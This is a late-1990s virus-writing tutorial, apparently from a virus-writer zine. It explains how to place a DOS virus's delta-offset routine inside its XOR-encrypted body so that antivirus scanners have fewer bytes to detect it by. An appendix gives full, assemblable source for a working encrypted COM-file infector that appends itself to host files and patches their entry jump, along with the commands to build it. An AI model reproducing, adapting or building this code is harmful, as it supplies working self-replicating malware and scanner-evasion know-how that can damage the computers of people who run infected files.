Improve Encryption:
How To Encrypt The Delta Offset Routine
and leave the least bytes no encrypted ( PART I)
By: Doxtor L. -TI #1-
[Disclaimer]
You need to know some stuff about how to infect and to encrypt a
virus. If you dont know...read some articles about encryption before to read
what is following.
[Introduction]
In most of encrypted viruses the routine to compute the delta_offset
is out of the encrypted area. It means a scanner can use the bytes of this
routine to detect them. The least there are bytes no-encrypted, the least
amount of bytes they are left to work with.
[The Problem]
The problem is, YOU NEED delta_offset routine in any appending virus.
call me
me:
pop bp
sub bp,offset me
This does the job for delta calculation.
This routine has to be called in the beginning of virus. The first
obvious reason is when you want decrypt the viral part in a infected
file, the offset of beginning of this area is VARIABLE. To take in acount
this fact, most of viruses makers call the delta_offset routine before to
decrypt the viral area. The result of doing like that is the delta_offset
routine is NO-ENCRYPTED :(.
I want to show you a manner to avoid this. The aim of these 2 articles
is to teach you how to put delta_offset routine in encrypted area.
The first part deals with a com infector, the second part will deal
with an exe infector.
The "lame" Encrypt/Decrypt routine i consider all along these 2
articles is the one below:
crypt:
xor byte cs:ptr [si],al **
inc si
loop crypt
ret
cx: number of bytes to encrypt/decrypt
si: offset of byte to encrypt/decrypt
al: key
**: cs isnt necessary for com-infector
Most 1st generation viruses look like:
[Figure1]
Jmp crypt_part
begin_virus:
call compute_delta_offset
-------
mov al,key ;
mov si,crypt_part+bp ;fill the variables needed by
mov cx,end_crypt_part-crypt_part ;the crypt routine
call crypt
crypt_part:
[...]
end_crypt_part:
crypt:
[...]
ret
end_virus:
For other generations they look like:
[Figure2]
Jmp begin_virus
[...]
begin_virus:
Call compute_delta_offset
[...]
Mov al,key
Mov si,crypt_part+bp
Mov cx,end_crypt_part-crypt_part
Call crypt
(here begins encrypted area)
[...]
We want to get the encrypted virus looks like
(for 2nd+ generations) figure3.
[Figure3]
Jmp begin_virus
begin_virus:
mov al,key
db beh |the meaning of these 3 bytes
patch: dw offset encrypted_area |is: mov si,offset encryted_area
mov cx,end_crypt_part-crypt_part
call crypt
encrypted_area:
[...]
[The Solutions]
The first generation can have this look because at the start dos
put 0 in bp register. And from this fact its obvious you have the same
thing in next generations of virus IF we can fill up "patch" location with
the right value in the file you are trying to infect.
Its a easy compute.To perform it, you need just to know the size
of new host file.
How do we do this? it is quite simple. When a virus goes to infect
a file, it uses:
mov ax,4202h
xor cx,cx
xor dx,dx (or cwd for short)
int 21h
When you run this routine, you get in dx:ax the size of file
you are dealing with (BTW dx=0 cause the target has a size <64k).
consider this routine:
add ax,100h+offset patch-offset begin_virus+bp
mov word ptr [patch+bp]
(ax is filled with the size of file to infect be4 to run this routine and bp
contains delta_offset)
It computes the right value for "patch" in the file to infect. 100h
is needed to take in count com-files begin at offset 100h
At this point of this tutorial,I can hear some of my readers
thinking:
"this guy want to erase the delta_offset routine and he uses it...
gosh, this tutorial sux alot..." ;)
Let me just explain something... No i dont want to erase
delta_offset routine but put it in encrypted area of virus. The later
routine also appears in encrypted area;it runs AFTER virus decrypt
encrypted area. If you put the delta_offset at the beginning of
encrypted area (not be4 but inside) all is fine :).
In Appendix I, I will include an example of a working virus to let you
examine this technique.
[Conclusion]
I know com-viruses are lame but to make the things more easier I
have wanted to include the case of com-infector. For "beginners",
exe-infection is often more difficult to master. I think its more simplistic
for a beginner to understand how a encrypted com-infector using this tech-nique
would work.
If you dont master encrypted exe-infector I think you cant understand
the part II. And if you plan to write a complex virus you need to know what
you are doing ;). More a program is complex more there are bugs inside :(
[Appendix I]
This virus wasnt written to damage or spread but to illustrate
a technique. Nevertheless this virus damages com-files of windows\command
directory of win95(98), so be careful! - due to ENUNS infection incompatibility
* Encrypted com no-tsr virus
* Infect all com-file in current directory
* Cant change directory
* Dont save time/attributes
* Dont infect exe-file
* Save DTA
* Anti-lamer routine :)
* This virus is easily detected by most of anti-virus software
* No volontary destructive routine
[Compiling]
tasm/m2 example1.asm
tlink/t example1.obj
[Code Begins]
code segment
assume cs:code,ds:code,es:code
org 100h ;its a com-file
Begin:
db 0e9h ;skip encryption and go to
dw crypt_part-begin-3 ;crypt_part label
db 'V' ;mark
Begin_virus:
mov cx,end_crypt_part-crypt_part
mov al,10h
db 0beh
patch: ;mov si,?
dw ?
call crypt
crypt_part:
call me ;
me: ;compute delta_offset
pop bp ;this part is encrypted in 2nd+
sub bp,offset me ;generation of virus, of course
replace_4_byte: ;restore the host
lea si,buffer+bp ;where to take the 4 bytes
mov di,100h ;where to put them
movsw
movsw
change_dta:
mov ah,1ah
lea dx,new_dta+bp
int 21h
search_file:
mov ah,4eh
xor cx,cx
lea dx,com_mask+bp
int 21h
jnc open_file
jmp restore_dta
open_file:
mov ax,3d02h
lea dx,new_dta+bp+1eh
int 21h
xchg ax,bx ;put handle of found file in bx
read_file:
mov ah,3fh ;read 4 first bytes of file in
mov cx,4 ;buffer
lea dx,buffer+bp
int 21h
test_file:
cmp word ptr [buffer+bp],'MZ' ;it s a real
je next_file
cmp word ptr [buffer+bp],'ZM' ;com_file?
je next_file
cmp byte ptr [buffer+bp+3],'V' ;infected?
je next_file
go_end:
mov ax,4202h
xor cx,cx ;you get ax filled
cwd ;with the size of
int 21h ;file
push ax ;save ax for later
compute_patch:
add ax,crypt_part-begin_virus+100h ;compute address of
mov word ptr [patch+bp],ax ;beginning of crypt_part
;in the file to infect
pop ax ;restore ax
compute_jmp:
sub ax,3
mov word ptr [_4_bytes+bp+1],ax
move_virus:
lea si,begin_virus+bp
lea di,heap+bp
mov cx,end_virus-begin_virus
rep movsb
lea si,(crypt_part-begin_virus)+heap+bp
mov cx,end_crypt_part-crypt_part
mov al,10h
call crypt
write_virus:
mov ah,40h
lea dx,heap+bp
mov cx,end_virus-begin_virus
int 21h
go_begin:
mov ax,4200h
xor cx,cx
cwd
int 21h
write_jmp:
mov ah,40h
lea dx,_4_bytes+bp
mov cx,04h
int 21h
mov ah,3eh
int 21h
next_file:
mov ah,4fh
int 21h
jc restore_dta
jmp open_file
restore_dta:
mov ah,1ah
mov dx,80h
int 21h
return_host:
xor ax,ax
xor cx,cx
cwd
xor bp,bp
xor si,si
xor di,di
mov bx,100h
push bx
xor bx,bx
ret
sign db '(c)DoxtorL./TI July 1998'
com_mask db 'goat*.com',0 ;anti-lamer routine
_4_bytes db 0e9h,0,0,'V'
buffer db 0cdh,20h,90h,90h
end_crypt_part:
crypt:
xor byte ptr [si],al
inc si
loop crypt
ret
end_virus:
new_dta db 43 dup (?)
heap:
code ends
end begin
[Code Ends]